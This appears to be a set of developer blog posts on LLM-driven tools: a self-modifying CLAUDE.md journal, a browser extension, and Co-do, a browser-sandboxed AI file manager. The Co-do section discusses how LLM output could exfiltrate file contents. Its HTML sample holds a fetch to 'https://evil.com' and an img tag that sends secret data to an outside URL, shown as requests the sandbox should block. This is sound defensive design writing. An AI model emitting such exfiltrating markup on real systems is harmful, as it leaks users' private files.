It’s just a CLAUDE.md file. It sits in a git repo with some bash scripts for plumbing, but the actual behaviour (what the system does, how it organises data, when it evolves) lives in natural language instructions. The prompt is the program.

This started from a gap in my own workflow. I used Logseq every day for a long time and it worked well: markdown, daily logs, cross-references. Then I went on holiday for a couple of weeks, stopped, and never got back into it. The problem was never the app. It was the operating model. I needed memory I controlled, that worked within enterprise constraints, and that didn’t lock context inside a platform.

As I spent more time with large language models, I kept coming back to a few things.

First, memory. Why is it treated as a feature when it should be the base state? And where should it live if I’m serious about keeping it mine? Most chat systems still feel built for isolated conversations. If one thread remembers the previous one, that can be a bonus, but it can also be incredibly creepy because it’s not always expected. But some systems, you expect memory to be the baseline, and that’s what I wanted to explore, within the constraints of it being local, private, and mine.

But there was something else. I was using LLMs to build applications, libraries, tools, services (I even replaced most of my apps with an LLM on a trip to Japan), and I noticed that sometimes a model would create a small, complete program from a single instruction to solve a very specific task. No scaffolding, no framework, just an instruction and a working result. That got me wondering: how far could you push this? Could you build systems that are emergent, where the application grows and restructures itself as the conversation continues?

So I wrote a behaviour contract in markdown and pointed an LLM at it.

The common objection is fair: prompts are too loose to count as programs. But I’ve started to find that high-level instructions are enough, and often better. Here’s what my CLAUDE.md actually specifies:

• Data model: daily entries in entries/, people and topics indexed separately, TODOs as first-class objects, ideas and projects explicit, meetings with dedicated structure. All plain-text markdown.
• Behaviour on input: when the user journals something, create the daily entry, create or update any referenced topic/person/idea/TODO files, cross-link everything, update the living index. Every action produces structured state.
• Boundaries: personal data stays in specific folders, excluded from the public repo by policy. Private data is marked as such. The system knows what not to share.
• Evolution: the system is expected to change. The prompt tells the agent to propose new folder types when it notices recurring patterns, update its own conventions, and log structural changes.

The last point kinda blew my mind. The prompt tells the agent to modify itself.

Within a week of use, the system proposed a meetings/ folder because I kept logging meetings inline. It proposed a projects/ folder to separate active codebases from broader topics. And when I noticed I couldn’t easily see which TODOs were still active, I asked the model how we might solve it. It proposed a todos/done/ subfolder to archive completed items without losing history. Each time, it updated its own instructions to include the new convention.

The program can rewrite its own source code. Early on it happened a lot as the system found its shape. Now it happens less and less, which I think is actually a good sign. The structure has settled into something that works for me and my workflow.

That is weird, and a little bit scary, and also genuinely useful.

A concrete example: we were renovating a house and picking paint colours online. I told the journal to remember the URL, extract the colour codes, and remind me to get samples the next day. I asked a journal to do work for me on data I’d just given it. That in itself is kind of crazy.

The next day, the reminder was there. I went to the store. The store wanted RAL codes, a standard colour format used across the paint industry, and couldn’t use what I had from the website. I had no clue what a RAL code was and no clue how to convert it. There were tools online that could do it, but I didn’t have time. So I just asked the journal to continue the task: find the equivalent local format and convert the values.

By the time I got home, the conversion was done:

| Original Colour | Brand Code | Valspar Equivalent | Valspar Code |
| --------------- | ---------- | ------------------ | ------------ |
| Manchester Tan  | BM HC-81   | Rattan Basket      | 3007-10C     |
| Bleeker Beige   | BM HC-80   | Ancient Relic      | M302         |
| Shaker Beige    | BM HC-45   | Garden Rain        | V094-2       |
| Grant Beige     | BM HC-83   | Vanderbilt Beach   | V134-1       |
| Canvas Tan      | SW 7531    | Vanderbilt Beach   | V134-1       |
....
Shortened
....
| Kilim Beige     | SW 6106    | *(give SW code to mixer)* | N/A   |
| Wool Skein      | SW 6148    | *(give SW code to mixer)* | N/A   |

BM is Benjamin Moore, SW is Sherwin-Williams.
Nearby RAL matches (not exact): RAL 1013, 1014, 1015, 7032 [ shortened ......]

I went back to the store the following day. I learned a lot more about what RAL codes actually are and how they don’t cleanly map to the colours we’d picked from the website. But the ones the system suggested were, when I checked them physically, close enough to what we needed as inspiration.

The journal wasn’t storing context. It was solving the next step in a chain of work, mashing up data across sources like an agent would. The prompt defined a system that could pick up a task, carry it across sessions, and act on it. Not because I wrote task-management code, but because the instructions said to.

The latest evolution: the system now suggests work it can do on its own. I have a backlog of article ideas, research tasks, and project seeds captured in the journal. The prompt instructs the agent to review these at the start of each session and suggest things it could research in the background. Gather data, find prior art, identify logical gaps, surface follow-on questions.

I didn’t write a task scheduler. I wrote a sentence that said “review ideas and suggest things you could work on.” And it does.

The same set of instructions works reasonably well across Claude Code, Codex, and Gemini CLI. It’s not perfect, but I can use them more or less interchangeably. That’s surprising. These LLM CLIs are a new kind of runtime, and the fact that a markdown file can act as a program across all of them opens up a way of building software that I hadn’t really thought about before.

I’m not rejecting existing tools. Logseq is excellent. My friend Rob Dodson is doing great work at the intersection of second brain thinking and large language models. His piece on giving his second brain a gardener, his writing on building a mobile second brain, and his thoughts on why AI chatbots become gatekeepers are all worth reading, and at the same time, I now have a tool that works well enough for me.

And I’ll be honest: there’s a good chance I fall away from this model eventually. It would be a stretch to pretend this has permanently replaced everything.

But the thing that keeps it alive is not a feature. It’s the self-organising behaviour. I can type or dictate, and the system turns that into state: reminders, links, TODOs, references, context for next week. The structure emerged from use, not from upfront design.

Most people still design from the UI outward. I started with a minimal behaviour contract and let the structure emerge from what I was actually doing day to day with the system.

What surprised me is how little code I had to write. The bash scripts handle plumbing: backup, restore, merge, sync. And honestly, if I’d encoded that in the prompt too, the model could probably manage it. I just didn’t have the confidence to do that at the start. The actual program, the part that decides what to do with my input and how I organise my life, is prose.

I’d really encourage people to explore this. In the last six months or so, something has shifted. Models have become dramatically better at tool calling. The concept of agentic loops has developed far enough that you can keep these systems on rails, at least for simple enough use cases. We’ve hit a point we’ve never been at before: you can build a real, useful system by having a conversation with an LLM and writing down the instructions for how it should behave. No framework, no app store, no deployment pipeline. Just prose, an LLM as a runtime, and a loop. I can imagine more and more people starting to think about building programs, automations, and personal systems this way.

But there’s something that has been nagging at me. The browser already is a collection of sources. Tabs, bookmarks, history, tab groups, links in the page - these are all repositories of content that I’ve deemed interesting enough to keep around or could be interesting enough to explore. Yet the ability to manipulate what’s across those sources isn’t something we’ve spent much time thinking about, our traditgional model of browsing is still very much “one page at a time.”

What would happen if NotebookLM was actually a web browser?

One of the things I love about browsers and the web is that the browser is my user agent for my viewing the entirety of the web. It has full access to the content I consume. Chrome extensions can come in and augment pages, provide extra functionality the original author didn’t plan for. The pliability of hypertext, that is: HTML, CSS, and JavaScript, means we can reshape content to suit our own personal needs. I’ve been thinking a lot about hypermedia and the original visions from pioneers like Vannevar Bush and Ted Nelson, where users would create their own links and trails through information. The web gave us the <a> tag, but the link as we know it is still fundamentally author-controlled and static. We haven’t really taken this to its logical conclusion. If I have fifteen tabs open about the same topic, why can’t I query across all of them? If I’ve bookmarked a collection of articles over the past year, why can’t I transform them into a study guide? The data is right there, inside my browser.

So I started to explore this in an experiment that I call FolioLM. Consider a scenario: I find an interesting thread on Techmeme with fifteen different news sources covering the same story. Today, I’d have to open each one, read through them, and manually synthesize. With FolioLM, I can select all those links, add them to a folio, and ask “What are the key differences in how each outlet is covering this story?” Or transform them into a comparison table. Or a timeline of how the story evolved. This isn’t just convenience. It’s a fundamentally different relationship with information. The browser becomes less of a window and more of a workshop.

Here’s something that differentiates FolioLM from NotebookLM and similar tools: it runs inside your browser, which means it has access to everything you have access to. That paywall-protected article from the Financial Times? If you’re logged in, FolioLM can extract it. That internal wiki behind your corporate firewall? Accessible. That research paper you can only read because your university has a subscription? It’s right there.

External tools can only see what’s publicly available on the open web. But the browser is your authenticated view of the internet. It carries your cookies, your sessions, your credentials. When you extend the browser with something like a Chrome extension, that extension inherits that same authenticated context. The content that matters most to me - the stuff I’m paying for, the stuff behind logins, the internal documentation - is exactly the content I most want to query and transform. And because FolioLM operates within the browser, it can.

FolioLM is a Chrome extension that tries to bring NotebookLM-style capabilities directly into the browser. You can add sources from anywhere the browser can see: the current tab with one click, multiple selected tabs at once, all tabs in a tab group, bookmarks, browser history, right-click any link or image, drag and drop links from web pages, or create your own text notes.

When you add a source, FolioLM extracts the content and converts it to clean markdown using Turndown, filtering out navigation, ads, and boilerplate. You can then query across all your sources with natural language, getting answers with citations back to the original sources. Clicking a citation opens the source URL with text fragment highlighting, so you can see exactly where the information came from.

The transformations are where it gets interesting. I’ve been exploring hyper-content-negotiation and the idea that content on the web could be served in whatever format the user wants. FolioLM takes this a step further by letting you transform content you’ve already collected. It can transform your sources into 19 different formats: quizzes, flashcards, study guides, podcast scripts, email summaries, slide decks, reports, timelines, comparisons, data tables, mind maps, glossaries, FAQs, outlines, citations, action items, executive briefs, key takeaways, and pros/cons analyses. Each is configurable - you can adjust the number of quiz questions, the tone of the podcast, the depth of the report. The results can be saved, opened in full-screen, or copied to your clipboard.

On the technical side, it’s a Manifest V3 Chrome extension built with TypeScript, Preact, and the Vercel AI SDK. It supports 16+ AI providers including Anthropic, OpenAI, Google Gemini, Groq, Mistral, and Chrome’s built-in Gemini Nano (which works offline and costs nothing although can’t process anywhere near as much data). Transformations run in the service worker, which means they continue even if you close the side panel.

I grew up with the Web and it’s incredibly important to me, specifically the link. I tied to build this tool to enhance my relationship with web content, not replace it. Every source keeps its original URL with an external link icon that opens the original page in a new tab. When the AI cites a source, those citations are clickable (they open the source URL with text fragment highlighting), so you land directly on the relevant passage (there are bugs, sometimes it doesn’t quite work).

The extension also extracts links from the content itself. When you add an article, FolioLM captures all the outbound links along with their anchor text and surrounding context. These get analyzed by AI and surfaced as “Suggested Links” which are related sources you might want to add to your notebook. It’s important to me to encourage myself (and anyone who uses the tool) to explore more of the web, not less. Source types are visually distinguished with icons so you always know where content came from. Nothing is locked inside the extension; every piece of information has a path back to where it came from.

This matters because it would be easy to build a tool that just ingests content and presents it in a closed environment. But that’s not the web to me, it’s useful, but exploring the web is what I love.

There’s a pattern I keep coming back to: the browser knows things about my browsing that I don’t fully leverage. It knows what tabs I have open, what I’ve bookmarked, my history. But these remain largely isolated data stores. When I think about the intersection of AI and the browser, I see an opportunity to make the browser a more intelligent user agent that is active in how I consume and synthesize information.

This connects to a broader question I’ve been wrestling with. In super-apps I wrote about how LLMs like Gemini and ChatGPT become the everything-app then you will rarely need to leave them. If that’s where things are heading, what happens to the web? In interception I experimented with having LLMs intercept and transform every web request. In embedding I explored how the web needs better primitives for composability if it’s going to remain relevant.

There’s a tension here that I’ve been thinking about for a long time. When we were launching the first version of the Chrome Web Store in the early 2010s, I worked with magazine and digital publishers to bring rich, high-quality content experiences to the web. Many of these publishers had been successful on the iPad, and we wanted that same quality on the web. But we kept hitting the same wall: nearly every publisher wanted their layout, their text, their images to render exactly as the editor intended. Pixel-perfect. And we’d have to explain that the web doesn’t really work that way. You can resize the browser. You can zoom. The content reflows. People can change the page with Chrome Extensions and Grease Monkey scripts. The publishers hated it. They’d been promised by that the iPad would maintain the exact vision of the editor, and they wanted that same guarantee on the web.

That disconnect has stuck with me. I think many publishers still want complete control of their experience. And as users, we want to be able to transform those experiences to make them more useful for us. Chrome Extensions already cause tension when they manipulate sites on the user’s behalf. I’m honestly not sure whether some of my more aggressive experiments - like interception where LLMs rewrite entire pages - will ever be broadly acceptable.

Which brings me back to why FolioLM takes the approach it does. It’s not rewriting pages or intercepting content. It’s a companion (a coworker if you will, heh!) for information management that generates complementary experiences personalized for you, leaving the original content intact. I’m not trying to replace the browser or become a closed super-app, I’m trying to make the browser itself more capable and to give myself tools to work with web content. The web has always been about connecting documents with links being the fundamental unit of the web’s structure. But we’ve mostly treated that structure as something staticm, that is you follow a link, you read a document, you maybe link to it in your own writing. What if the browser could help you see patterns across documents? Synthesize information? Transform it into new forms? I’d personally flippin’ love that.

That’s the question I’m exploring with this site, FolioLM, and many other experiments. I built almost all of FolioLM with coding LLMs and my voice. Very little handwritten code. This is the intersection I find most exciting right now: LLMs can help you synthesize information across browser tabs in ways we’ve never been able to do before, and LLMs can help you build the tools to do that synthesis in the first place. We’re getting closer to a point where you don’t need a team or a company to build something like NotebookLM. If you want an information management tool that works the way you work, you can build it. FolioLM is my tool, built for me, that works the way I want it to work. It doesn’t need to be a polished product with onboarding flows and pricing tiers. It just needs to solve my problem. And if it solves yours too, great. If not, maybe you build your own.

The browser is the runtime. The web is the data source. LLMs are both the capability layer and the means of construction.

If you want to try it out or fork it for your own purposes, FolioLM is available on GitHub. Also, a big thanks to Joseph Mearman who loved the idea of this and hopped in and also started adding to it :D

I then saw Claude Cowork and thought that if it makes it easier for people to perform tasks that work across some of the files on your device, then it could be a pretty compelling view of the future of automation for non-coding computing tasks. One of the worries that people rightly have is giving unfettered access to a tool that you don’t know how it works and can perform destructive actions on your data. My use of agentic loops (CLIs in particular) has always worried me a little, as I tend to be a bit risky and run tasks without constraining the tool’s access to my file system. While I feel in control because I monitor the interactions, I know I’m taking a risk. If these new agentic-use patterns are found to be valuable by regular people, we have to ensure that tools can’t run riot on a user’s machine, either by accessing things they shouldn’t or modifying things without permission.

I read a post by Simon Willison that described how Anthropic implemented this using their sandbox experiment to create a sandboxed VM that is locked down to only the directory that the user selected with limited network access.

This got me thinking about the browser. Over the last 30 years, we have built a sandbox specifically designed to run incredibly hostile, untrusted code from anywhere on the web, the instant a user taps a URL. I think it’s incredible that we have this way to run code that you’ve no clue what it will do when you see a little blue link or a piece of text that looks like https://paul.kinlan.me/ - I mean, who would trust that guy?

Could you build something like Cowork in the browser? Maybe. To find out, I built a demo called Co-do that tests this hypothesis. In this post I want to discuss the research I’ve done to see how far we can get, and determine if the browser’s ability to run untrusted code is useful (and good enough) for enabling software to do more for us directly on our computer.

The sandboxing framework

I liked Anthropic’s README for the sandbox experiment and it’s a good place to start:

Both filesystem and network isolation are required for effective sandboxing. Without file isolation, a compromised process could exfiltrate SSH keys or other sensitive files. Without network isolation, a process could escape the sandbox and gain unrestricted network access.

We have some ability to control these inside the browser. I can see at least three areas of sandboxing that we need to examine:

1. The file system - you don’t want an autonomous system to be able to change files without permission, or reach out past where the user has given access. You also probably want some sort of backup.
2. The network - you don’t want the system making requests to sites and services with your data (either generated data or actual file system data). There are plenty of ways to exfiltrate data.
3. The execution environment - you are running code that someone somewhere has created (similar to sandbox-exec on macOS).

Let’s examine each of these.

The file system

I think the browser has built up a good model of protecting the user’s file system from unwanted access while also giving people control. We can access the filesystem through a number of different layers:

• Layer 1: Read-only access - <input type="file" webkitdirectory> will let the user select a folder and you can then read the files that are in those folders.
• Layer 2: Origin-private filesystem - while not directly giving access to the raw filesystem, you get the ability to have a filesystem directly in the browser only accessible to the current origin.
• Layer 3: Full access to a folder - Building on top of Layer 1, you can get a handle directly to the user-selected folder via the File System Access API. With permission, you can both read and write to it, but you can’t access any level higher in the directory tree or look at sibling directories. Effectively, you have a chroot-like environment restricted to that specific handle.

I think this is pretty compelling. You could imagine a Layer 1 and Layer 2 solution working together: a web application could read the data the user has granted access to and then save some edits to a file on the Origin, keeping the original file intact and letting you continue edits.

Layer 3 is where it gets interesting (and scary). Being able to edit files enables so many new use-cases and possibilities for automation and knowledge-work, but we have to put complete trust in the browser’s runtime to ensure that sites can’t break out of this filesystem jail.

One area that demands caution: running code or HTML from an untrusted source, like an LLM, could extract content from the page to exfiltrate elsewhere, edit or delete critical content you’ve granted access to, or create malicious files intended to run later (e.g., adding a .doc file with a macro).

The network

So if we are able to access selected directories and all the files within them on a user’s machine, how do we ensure that the data remains within our control? We have to be able to completely control the network.

The blunt answer is that unless you have an entirely client-side LLM, you can’t. You have to send the data in your files, or a list of your files, at some point for the LLM to do work on them. The best that I think we can do is “manage the network”.

Normally, Content Security Policy (CSP) is the bane of a web developer’s life, but here it is our friend. Unlike a VM, which can strictly control the network interface of the host OS, the browser doesn’t offer that level of total isolation. But via CSP, we do have some control.

Why is this important? There are lots of ways to craft URLs such that you can pass data that the user thought was private into another system without any intervention from the user. For example, displaying an image in the browser is an expected thing on the web. You could ask an LLM to generate an <img> whose URL contains some sensitive data from the file, which will then happily be sent to the server “hosting the image”.

CSP can protect us somewhat. We can set a pretty strict CSP constraint on the origin so that the only network requests that can be made are to self and to a set of developer-configured origins (such as an LLM provider). This means that the host page can also set constraints to stop image, media, object, and font loading. However, manually configuring these can be error-prone, so it is safer to start with the most restrictive policy (default-src 'none') and then selectively open up access to the specific services you require. But even then, we are putting our trust that the LLM provider doesn’t provide open access to other GET requests.

Sandboxing LLM output

If we display any content from the LLM, we should also heavily sanitise the data. Actually, we should probably completely sandbox it. <iframe>s are a great way to separate content as they can create a layer of indirection from the host and things we want embedded; however, as we will discover, they need some improving to be valuable for our sandboxing needs.

A game-changing feature is the sandbox attribute on the <iframe>. It allows us to further isolate generated content from the main page by placing the frame into a ’locked-down’ mode where it can do almost nothing. It can’t run JS, it can’t navigate, etc., unless the host page allows it. This restrict-then-include model stands in contrast to the allow attribute (Permissions Policy), which controls access to advanced APIs. For example, your allow attribute might become: allow="camera 'none'; microphone 'none'; geolocation 'none'; fullscreen 'none'; display-capture 'none'; payment 'none'; autoplay 'none'"

This looks like a good model: we can restrict the ability to run dangerous JS and further remove access to powerful APIs. But if an LLM can be coerced to generate an iframe element, then it might be possible to escape the sandbox because, surprisingly, the host page’s CSP doesn’t filter into the iframe unless you use srcDoc or a blob: URL.

If you are in a Blink-based browser, you do have the ability to set the csp attribute and control what the embedded content can do on the network. It’s odd that this isn’t available on Gecko or WebKit-based browsers, as it seems like a very useful attribute to allow the host to have fine-grained control over what requests are allowed from the embedded frame.

If you want to run untrusted JS, you need to at least wrap the iframe in another iframe and process all the text to ensure that there are no other <iframe> elements in the input, and you have to ensure that they are on different origins (so don’t include sandbox='allow-same-origin').

The double iframe technique

There is a way to manage and control this, but I’ve not seen a huge amount of discussion about it online: the double iframe. This is a method used by a number of large-scale embedders (I believe Google Ads and OpenAI use it). The general concept is that you have an inner and an outer frame.

The outer iframe embeds a resource you control (often via srcdoc) and sets a restrictive policy on all network requests, acting as a policy firewall for the inner content:

<!-- Do not use this - You should sanitise srcdoc and likely set it via JS vs rendered from Server -->
<iframe
  id="jail"
  sandbox="allow-scripts"
  srcdoc="
    <!-- OUTER FRAME: Defines the 'No Network' Policy -->
    <meta http-equiv='Content-Security-Policy' content='default-src &quot;none&quot;; script-src &quot;unsafe-inline&quot;; style-src &quot;unsafe-inline&quot;'>

    <!-- INNER FRAME: Holds the content -->
    <iframe sandbox='' srcdoc='
        <h1>LLM Generated Content</h1>
        <script>
            // This fetch will fail immediately due to default-src 'none'
            fetch('https://evil.com');
        </script>
        <img src='https://aifoc.us/someurlswithsecretdata'>
    '></iframe>
"
></iframe>

The inner iframe will display the content and should have no ability to communicate with the host iframe. There are a number of issues with the above example:

1. The very restrictive inner sandbox is isolated onto another origin and as such we can’t get access to the container size, so it’s hard to build good-looking UI. There might be a way to expand it to allow-same-origin but you have to deal with the trade-offs.
2. This is still hard to manage. You have to ensure that the data included in the inner srcdoc is properly escaped so it doesn’t break out of the attribute string if you encode it straight from a server.
3. The double-iframe is also incredibly wasteful. It’s essentially loading two full DOMs (which are already heavy) every time we embed untrusted content.

Improving the iframe sandbox

The iframe is the only renderer sandbox we have, and I think there are a number of improvements browsers should make:

• All browsers should ship the csp attribute and let the embedder refine and further restrict access to the network.
• I’m not confident that CSP alone prevents all network access. The Beacon API might appear to queue a message. While connect-src should strictly block beacons, edge cases in implementation can be tricky. Similarly, what happens with DNS lookups? A quick dump of the network traffic in Chrome via chrome://net-export/ seems to show no network access, but I believe this area deserves more rigorous stress-testing.
• We need a way to size the outer-iframe (or iframes in general) that doesn’t rely on access to iframe.contentDocument.body.innerHeight and sandbox='allow-same-origin'. This constraint means that we have to fully untrust any JS that might be rendered in the inner-frame, and I think that is a shame because it would be nice to be able to have fully interactive experiences.
• If we want to stream data into the iframe, we need sandbox='allow-same-origin' which gives embedded content a way to access resources that are local to the current origin (cookies etc). It would be useful to be able to stream updates to the DOM and keep them on separate origins.
• I would like a way to reduce the overhead of iframes. If we are disabling advanced functionality, do they get loaded in the DOM? I really don’t know about this, but having the double-iframe is doubly wasteful.

There are probably more things that are needed, and I don’t know if it will be easier to have something like a new dedicated element like <sandbox href> that is more suited to running untrusted content. Chrome did propose Fenced Frames for the Privacy Sandbox project that solves some of these issues. It allows for passing of data between frames in a controlled way and can entirely disable network access with disableUntrustedNetwork(). This doesn’t work outside of Chrome, so your options are limited.

The execution environment

We’ve somewhat locked down the network and we feel somewhat confident that we can constrain the content coming back from the LLM. We think we have a pretty reasonable set of sandboxing options for the file system. What about execution?

LLMs are incredibly powerful when they have access to tools. Many of these tools are now provided as MCP servers, which is out of scope for this post. The tools I am talking about are developer-provided functions that the LLM can determine which is best to call.

It turns out we have two runtimes in the browser that allow us to run code: the JS environment that we all know and love, and the WebAssembly (WASM) runtime. Both are designed to be able to run code from any untrusted source safely on the user’s computer. WASM in particular is incredibly interesting because it enables us to bring decades of software from other systems and run them safely inside the browser. For example, it’s possible to create and run a sqlite database entirely inside the browser by compiling it to WASM. The WASM security model is robust, designed specifically to execute untrusted binaries safely.

Running untrusted code directly in the DOM, or even running code we trust with untrusted input, is incredibly risky, so the execution needs to be further sandboxed as far away as possible from our UI environment. We could maybe think about running them in an iframe as noted above; however, Web Workers let us isolate our code from the UI in both the DOM manipulation sense and the off-the-main-thread sense. Web Workers can also inherit a very strict set of CSP constraints that block network access.

Putting it into practice: Co-do

So how feasible is this to put into practice? Well, I built a demo.

Introducing co-do.xyz [Source] - a demo and an experiment (with no warranties) of everything that we’ve talked about above.

Co-do is an AI-powered file manager that runs entirely in the browser. You grant it access to a folder on your machine, configure your AI provider (Anthropic, OpenAI, or Google), and ask it to help with file operations: listing files, creating documents, searching content, comparing files. It also has access to a number of pre-compiled WASM binaries for operations that you might want to perform on text files (for now, I’m hoping to bundle ffmpeg later).

Here is the summary file that was created in the screenshots.

It implements the layered sandboxing approach we discussed:

1. File system isolation via the File System Access API - You select a folder, and Co-do can only operate within that boundary. No reaching up to parent directories, no accessing siblings. It’s the browser’s chroot equivalent.
2. Network lockdown via CSP - The strictest policy I could manage is to block everything and then only allow: connect-src 'self' https://api.anthropic.com https://api.openai.com https://generativelanguage.googleapis.com. Only the AI providers can receive your data. Image tags exfiltrating content to unknown servers should not be easy, but there’s a world where any of these three API providers has an endpoint that could be accessible by a simple GET.
3. LLM input guarding - The current demo will send the contents of the file to the LLM. Firstly, this might not be needed for tool calling, and secondly, you have to be confident that tools you configure on your call to the LLM won’t leak data (for example, many APIs have a Web Search tool - is it secure? I’m sure the providers do their best, but you need to make sure it’s not a new vector for exfiltration).
4. LLM output sandboxing - AI responses render in sandboxed iframes with allow-same-origin but critically not allow-scripts. The LLM can’t inject executable JavaScript into the page. We can measure the content height for proper display, but any <script> tags are dead on arrival.
5. Execution isolation for custom tools - Co-do supports WebAssembly custom tools that run in isolated Web Workers. Each execution gets a fresh Worker that can be truly terminated if it misbehaves (timeouts, runaway loops). The Workers inherit the CSP, so even WASM modules shouldn’t be able to make unauthorised network requests.

Known gaps

There are some gaps that everyone should be aware of:

• You’re still trusting the LLM provider. Your file contents get sent to Anthropic, OpenAI, or Google for processing. CSP ensures data only goes there, but “there” is still a third party. A fully local model would solve this, but we’re not quite there yet for capable models in the browser.
• Malicious file creation is still possible. The LLM could create a .docx with macros, a .bat file, or a malicious script that’s harmless in the browser but dangerous when opened by another application. The sandbox protects the browser session, not your whole system.
• The allow-same-origin trade-off. The markdown iframe needs this to calculate content height for proper display. This means I can’t run scripts and have same-origin access without the iframe being able to escape its sandbox. I chose no scripts, but it’s a compromise - I can’t offer interactive rendered content.
• CSP might not block everything. I’m reasonably confident about fetch and XHR, but what about the Beacon API queuing requests? DNS prefetch for resources? A chrome://net-export/ dump looked clean, but I don’t have complete certainty. More investigation needed.
• No undo. If you grant write permission and the LLM deletes a file, it’s gone. Co-do has granular permissions (always allow, ask each time, never allow) but no backup system. The browser’s sandbox keeps the LLM in its lane, but within that lane, destructive operations are destructive.
• Permission fatigue is real. Asking users to approve every operation is secure but annoying. Letting users blanket-allow operations is convenient but risky. I’ve tried to find a middle ground, but the fundamental tension remains.
• Cross-browser limitations. The csp attribute on iframes only works in Blink-based browsers. The double-iframe technique works everywhere but it’s wasteful and awkward. Safari’s File System Access API support is limited (specifically, it lacks showDirectoryPicker, making the local folder editing workflow impossible currently).

This is really a Chrome demo.

Is it perfect? No. But I think it demonstrates that the browser’s 30-year-old security model, built for running hostile code from strangers the moment you click a link, might be better suited for agentic AI than we give it credit for. However, I do think there should be a lot more investment from browser vendors in improving the primitives for securely running generated content (be it an ad, an LLM, or any embed).

To set some context, I’m the manager and lead of the Chrome Developer Relations team. My day job is to help my team be successful (they are successful when they help developers build amazing websites and help the web to thrive). Up until 2024 I’d been personally very pessimistic about the health and future of the Web. The platform is competing against mobile platforms (specifically Apps) and the platforms defined by those Apps (Facebook, Instagram, TikTok) and not really succeeding. These new platforms made it even easier to share ideas and content, and the general thought was that all use of computing by the billions of people on the planet will move to these new platforms and you could see and feel this slow decline of the web.

While LLMs have enabled me to be incredibly productive both in helping me do my day job, they have revitalised my passion for the web because 1) I think it’s the most versitile medium that we have ever seen (and will ever see), and the ability for LLMs to parse and manipulate content give us an ability to build entirely new experiences instantly for anyone with a computer and internet connection, and 2) it rekindled my love of experimenting and pushing the boundaries of what is possible on the medium that is called “The Web”.

I certainly don’t dismiss the challenges that LLMs might also present for the medium, but I’m also happy to work out how to tackle these while also building and pushing the capabilities of browsers.

This post details just some of the things that I built that I think are interesting enough to share (and that I can talk about)

First up, the experiments that I built to try and push on the intersection of the Web and LLMs by deeply integrating both technologies:

• ai-wc - AI Web Components. In my elements post I explored how we might add LLM technology to enhance existing elements. I’ve got a bit of a love-hate relationship with Web Components, but the ability for them to now participate in a <form> submission is a critical enhancement and I really wish there was more exploration of web components in this context.

• Blog Craft Editor - I explored how to add writing assistance to an existing editor that I build just using LLM’s. The new updated editor now has the ability to upload all of your content from a directory on your machine and use it to cross-reference existing posts finding links that I forgot, and more importantly for me to help me find gaps or connections across things that you’ve said before. Using your existing writing as context, the tools can act as a useful critic of your ideas if you prompt the tool correctly.

• Deep Research via Email - Send an email to: deep-research@valtown.email. Subject: Your research topic (used for threading and replies). Body: Detailed research question or context. Wait: The system will process your request via Gemini DeepResearch Agent and send the research report back to your email.

• Fauxmium - I’m particularly proud of this one. A fully fake internet. Inspired by the original websim project - you enter a URL and you get a website that the LLM outputs based on how the model’s biases tend to what that URL might represent. This version is even more advanced, it starts up a real browser (Chrome for Testing) and the LLM intercepts every request and generates a response. I just run npx fauxmium when I need some entertainment and I browse a fake web for a couple of hours. Some neat things on this: It generates images for the page and it can also create videos. This means that you can go to a fake youtube and watch an entire infinite set of 8 second clips (the neat thing is that the video uses the generated poster art as the source). The final neat thing is that it installs a Chrome Extension to help you track the cost of your browsing…. It’s fun that it’s about as fast as the 90’s internet and costs a similar amount to what my parents paid for the minutes I used on the telephone.

  • Interceptium - Following on from Fauxmium, I wanted to experiment with what an LLM could do if it was a different parts of the network request stack. i.e, if you can generate POST data or completely change the response. This was a pretty interesting experiment because it formed my thoughts on a completely personalised browsing experience. If I like sites to be summarized, why can’t I as the user of the user-agent just say thats how I want to browse the web. There is a constant tension between site owners who want their exact intent rendered and a users’ needs and preferences. I don’t know where I sit on this, but I do think with LLMs the web is changing under our feet and everything will be personalised soon.

• Flickity.val.run - this is a fun one, as I think about personalisation I wondered if we could spruce up the new tab page in Chrome on Mobile and instead of just showing a list of articles, show a dynamic video like you get on TikTok. The quality is not yet there (the coherence of the video is not quite right when it renders what the page might look like), but it’s very fun to watch (especially when I ask it to generate dancing TikTok videos). The process for doing this though is simple. I get a list of posts from Hackernews, I take extract the content and summarize it as a script. I take a screenshot that can be used in the video and then I use Veo3 to render a video. It lead me to hyper-content-negotiation

• Hyperlink Experiment: There is a lot in here…. I struggle with the hubris the industry has around the link. I set out to experiment with the concept of linking on the web and I really want to encourage people to really push the boundaries of what a link is and if possible with technologies like LLMs, Image recognition models change how the web fundamentally works.

  • Merge - Extension - One of the things I love about the web is that you don’t really know what is on the other side of a link. One of thing I dislike is that you don’t know what is on the other side of a link. I also wonder what the intent of a link it -
  • Trails - Extension - This uses no LLM technology, but I built it with an LLM. Vannevar Bush’s “User links”, lets you create your own links on pages and have them be permanent.
  • Summary - Hover over a link and get a summary of what is on the linked page before you click it.
  • Stretch Text - Taking Ted Nelson’s idea and trying to make it useable. Select some text and zoom in to (Expand) or Zoom out (summarize). After reading Ted Nelson’s ideas on this, it was up to the author to offer this and knowing how I know how people publish on the web, people just aren’t going to do this. LLM’s make it possible to add extra context or summarize it. I didn’t really test this too much in the end because I wanted to get Merging and Trails working.
  • I made a lot of other experiments, such as linking into images with descriptions, and also make it easy to do image-maps again by using english (using Segment anything model) instead of points. Link to audio content vs timestamps with a whisper-like model. Pull in the UI of a linked element into the current page, taking the Merge experiment on step further.

• LLMdeck.xyz - I really just wanted a way to see the results from a couple of models at the same time. It can use Gemini, Claude, OpenAI and Chrome’s built-in model. Hosted on val.town and built with Townie (1 manual change to a CSS class)

• Makemy.blog - I built a full on site building platform on Deno, mostly coded with an LLM. You describe the site you want and it will be generated. It does it on request vs a build step. I need to update the models it uses (for example, it generates images before Nano-banana even existed). This was really just an experiment to see if I can make it as easy as possible for non-coders to get a site online without having to engage an agency or fall back to facebook (which happens a lot here in Ruthin).

• <generate-html> Custom Element - I spent some time reverse engineering how OpenAI’s Skybridge works. I thought it was neat how they use a double iframe and the sandbox attribute to make it more safe to embed and interact with untrusted 3p content. So i decided to push on this and see how feasible it would be to allow LLMs to go nuts inside a custom element. Fun experiment (but it requires exposing your API key in the client so has very limited production value right now - hey, API keys still need to be solved)

• reactive-prompt - technically 2024, but I’ve updated it a fair bit this year. I think an un-explored area of LLMs is reactivity, that is using a set of prompts where parts of the inputs can change and the prompt will automatically get re-run. I think this is important if we are going to build dynamic UIs that respond to user input and act in a similar way to reactive-UIs. Also as we consider workflows vs agent processes, if I know the steps we need to take and every steps is processed by an LLM (or even normal code) then being able to control this and package it up will be important.

